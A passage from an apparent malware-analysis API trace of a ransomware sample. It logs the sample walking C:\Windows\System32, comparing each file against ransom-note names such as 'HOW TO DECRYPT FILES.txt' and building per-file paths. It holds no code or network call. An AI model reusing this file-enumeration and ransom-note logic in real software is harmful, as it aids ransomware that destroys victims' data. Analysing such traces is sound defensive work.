lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.085] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.085] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.086] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.086] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cintlgnt.ime" | out: lpString1="C:\\Windows\\System32\\cintlgnt.ime") returned="C:\\Windows\\System32\\cintlgnt.ime" [0144.086] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc65b9b72, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc65b9b72, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x671f2780, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0144.086] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.086] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cipher.exe") returned 1 [0144.086] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cipher.exe") returned 1 [0144.086] lstrcmpiA (lpString1="", lpString2="cipher.exe") returned -1 [0144.086] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cintlgnt.ime") returned="cintlgnt.ime" [0144.086] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.086] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.086] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.087] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.087] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cipher.exe" | out: lpString1="C:\\Windows\\System32\\cipher.exe") returned="C:\\Windows\\System32\\cipher.exe" [0144.087] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0144.087] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.087] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="clb.dll") returned 1 [0144.087] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="clb.dll") returned 1 [0144.087] lstrcmpiA (lpString1="", lpString2="clb.dll") returned -1 [0144.087] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cipher.exe") returned="cipher.exe" [0144.087] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.087] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.087] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.087] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.088] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="clb.dll" | out: lpString1="C:\\Windows\\System32\\clb.dll") returned="C:\\Windows\\System32\\clb.dll" [0144.088] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0144.088] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.088] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="clbcatq.dll") returned 1 [0144.088] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="clbcatq.dll") returned 1 [0144.088] lstrcmpiA (lpString1="", lpString2="clbcatq.dll") returned -1 [0144.088] PathFindFileNameA (pszPath="C:\\Windows\\System32\\clb.dll") returned="clb.dll" [0144.088] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.088] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.088] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.089] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.089] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="clbcatq.dll" | out: lpString1="C:\\Windows\\System32\\clbcatq.dll") returned="C:\\Windows\\System32\\clbcatq.dll" [0144.090] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4776b7f1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4776b7f1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x67265370, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0144.090] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.090] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cleanmgr.exe") returned 1 [0144.090] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cleanmgr.exe") returned 1 [0144.090] lstrcmpiA (lpString1="", lpString2="cleanmgr.exe") returned -1 [0144.090] PathFindFileNameA (pszPath="C:\\Windows\\System32\\clbcatq.dll") returned="clbcatq.dll" [0144.090] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.090] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.091] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.091] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.091] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cleanmgr.exe" | out: lpString1="C:\\Windows\\System32\\cleanmgr.exe") returned="C:\\Windows\\System32\\cleanmgr.exe" [0144.091] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0144.091] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.091] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="clfsw32.dll") returned 1 [0144.091] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="clfsw32.dll") returned 1 [0144.091] lstrcmpiA (lpString1="", lpString2="clfsw32.dll") returned -1 [0144.091] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cleanmgr.exe") returned="cleanmgr.exe" [0144.091] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.091] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.092] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.092] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.092] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="clfsw32.dll" | out: lpString1="C:\\Windows\\System32\\clfsw32.dll") returned="C:\\Windows\\System32\\clfsw32.dll" [0144.092] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0144.092] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.092] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cliconfg.dll") returned 1 [0144.092] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cliconfg.dll") returned 1 [0144.092] lstrcmpiA (lpString1="", lpString2="cliconfg.dll") returned -1 [0144.092] PathFindFileNameA (pszPath="C:\\Windows\\System32\\clfsw32.dll") returned="clfsw32.dll" [0144.092] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.092] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.093] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.093] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.093] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cliconfg.dll" | out: lpString1="C:\\Windows\\System32\\cliconfg.dll") returned="C:\\Windows\\System32\\cliconfg.dll" [0144.093] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9aa1387, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb9aa1387, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x67265370, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0144.093] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.093] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cliconfg.exe") returned 1 [0144.093] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cliconfg.exe") returned 1 [0144.093] lstrcmpiA (lpString1="", lpString2="cliconfg.exe") returned -1 [0144.093] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cliconfg.dll") returned="cliconfg.dll" [0144.093] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.093] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.093] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.094] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.094] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cliconfg.exe" | out: lpString1="C:\\Windows\\System32\\cliconfg.exe") returned="C:\\Windows\\System32\\cliconfg.exe" [0144.094] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb69954b, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb69954b, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xbb600fcf, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cliconfg.rll", cAlternateFileName="")) returned 1 [0144.094] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.094] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cliconfg.rll") returned 1 [0144.094] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cliconfg.rll") returned 1 [0144.094] lstrcmpiA (lpString1="", lpString2="cliconfg.rll") returned -1 [0144.094] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cliconfg.exe") returned="cliconfg.exe" [0144.094] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.094] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.094] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.094] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.095] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cliconfg.rll" | out: lpString1="C:\\Windows\\System32\\cliconfg.rll") returned="C:\\Windows\\System32\\cliconfg.rll" [0144.095] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda2c8c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xcdda2c8c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x6728c470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0144.095] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.095] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="clip.exe") returned 1 [0144.095] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="clip.exe") returned 1 [0144.095] lstrcmpiA (lpString1="", lpString2="clip.exe") returned -1 [0144.095] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cliconfg.rll") returned="cliconfg.rll" [0144.095] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.095] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.095] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.095] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.096] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="clip.exe" | out: lpString1="C:\\Windows\\System32\\clip.exe") returned="C:\\Windows\\System32\\clip.exe" [0144.096] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0144.096] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.096] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="clusapi.dll") returned 1 [0144.096] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="clusapi.dll") returned 1 [0144.096] lstrcmpiA (lpString1="", lpString2="clusapi.dll") returned -1 [0144.096] PathFindFileNameA (pszPath="C:\\Windows\\System32\\clip.exe") returned="clip.exe" [0144.096] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.096] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.096] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.096] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.096] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="clusapi.dll" | out: lpString1="C:\\Windows\\System32\\clusapi.dll") returned="C:\\Windows\\System32\\clusapi.dll" [0144.097] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0144.097] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.097] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmcfg32.dll") returned 1 [0144.097] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmcfg32.dll") returned 1 [0144.097] lstrcmpiA (lpString1="", lpString2="cmcfg32.dll") returned -1 [0144.097] PathFindFileNameA (pszPath="C:\\Windows\\System32\\clusapi.dll") returned="clusapi.dll" [0144.097] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.097] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.097] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.097] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.097] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmcfg32.dll" | out: lpString1="C:\\Windows\\System32\\cmcfg32.dll") returned="C:\\Windows\\System32\\cmcfg32.dll" [0144.098] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0144.098] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.098] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmd.exe") returned 1 [0144.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmd.exe") returned 1 [0144.098] lstrcmpiA (lpString1="", lpString2="cmd.exe") returned -1 [0144.098] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmcfg32.dll") returned="cmcfg32.dll" [0144.098] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.098] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.098] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.098] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.098] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmd.exe" | out: lpString1="C:\\Windows\\System32\\cmd.exe") returned="C:\\Windows\\System32\\cmd.exe" [0144.099] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0144.099] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.099] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmdial32.dll") returned 1 [0144.099] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmdial32.dll") returned 1 [0144.099] lstrcmpiA (lpString1="", lpString2="cmdial32.dll") returned -1 [0144.099] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmd.exe") returned="cmd.exe" [0144.099] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.099] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.099] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.100] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.100] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmdial32.dll" | out: lpString1="C:\\Windows\\System32\\cmdial32.dll") returned="C:\\Windows\\System32\\cmdial32.dll" [0144.100] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 